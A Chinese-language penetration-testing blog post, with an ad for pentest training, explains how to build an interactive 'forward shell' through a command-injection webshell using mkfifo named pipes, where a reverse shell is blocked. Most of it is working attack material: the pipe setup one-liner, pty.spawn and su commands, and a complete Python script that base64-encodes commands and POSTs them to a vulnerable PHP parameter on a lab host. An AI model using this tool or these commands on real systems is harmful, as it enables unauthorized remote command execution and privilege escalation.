[原创]linux mkfifo命名管道提权
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
1 应用场景
当目标不能执行反弹SHELL的时候使用。如反弹SHELL执行交互 使用su 切换特权用户。这类操作最好在反弹shell下使用,当反弹shell 没法使用的时候用mkfifo管理命令 达到以上效果。
2 什么是命名管道
命名管道也被称为FIFO文件,它是一种特殊类型的文件,它在文件系统中以文件名的形式存在,但是它的行为却和之前所讲的没有名字的管道(匿名管道)类似。
由于Linux中所有的事物都可被视为文件,所以对命名管道的使用也就变得与文件操作非常的统一,也使它的使用非常方便,同时我们也可以像平常的文件名一样在命令中使用。
3 实践应用
3.1 创建命令
mkfifo /tmp/input;tail -f /tmp/input |/bin/sh 2>&1 >/tmp/output
这条命令的意思 用mkfifo创建命名管道mkfifo /tmp/input
tail -f /tmp/input 循环读取里面文件,有命令就用/bin/sh执行 标准输出和错误重定向到/tmp/output
3.2 测试效果
3.3 切换特权SHELL
echo “python -c ‘importpty;pty.spawn(\”/bin/bash\”)'”>/tmp/input
3.4 切换特权用户
echo “su-” >/tmp/input
echo”123456″ >/tmp/input
4实战应用
4.1 执行命令
http://192.168.0.143/test.php?moon=id
4.2 编写python
[php]
#coding:utf-8
import requests
import time
from base64 import b64encode
from random import randrange
import threading
class AllTheReads(object):
def __init__(self,interval=1):
self.interval=interval
thread = threading.Thread(target=self.run,args=())
thread.daemon = True
thread.start()
def run(self):
readoutput= """ /bin/cat %s""" %(stdout)
clearoutput = """echo ” > %s""" %(stdout)
while True:
output= RunCmd(readoutput)
if output:
RunCmd(clearoutput)
print(output)
time.sleep(self.interval)
def RunCmd(cmd):
cmd = cmd.encode(‘utf-8’)
cmd = b64encode(cmd).decode(‘utf-8’)
data ={ ‘moon’: "echo ‘%s’| base64 -d|sh" %(cmd)}
resulit=requests.post(‘http://192.168.0.143/test.php’,data=data,timeout=5).text.strip()
return resulit
def WriteCmd(cmd):
cmd = cmd.encode(‘utf-8’)
cmd = b64encode(cmd).decode(‘utf-8’)
data ={ ‘moon’: "echo ‘%s’| base64 -d > %s" %(cmd,stdin)}
resulit=requests.post(‘http://192.168.0.143/test.php’,data=data,timeout=5).text.strip()
return resulit
def ReadCmd():
GetOutput = """/bin/cat %s""" %(stdout)
output=RunCmd(GetOutput)
return output
def SetupShell():
NamePipes = """mkfifo %s; tail -f %s | /bin/sh2>&1 > %s""" %(stdin,stdin,stdout)
try:
RunCmd(NamePipes)
except:
None
return None
global stdin, stdout
session = randrange(1000,9999)
stdin = "/dev/shm/input.%s" %(session)
stdout = "/dev/shm/output.%s" %(session)
clearoutput = """echo ”> %s""" % (stdout)
SetupShell()
ReadingTheThings = AllTheReads()
while True:
cmd = input(‘> ‘)
WriteCmd(cmd+"\n")
time.sleep(1.1)
[/php]
4.3 最终结果
5 关注公众号 不定期更新干货
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/737.html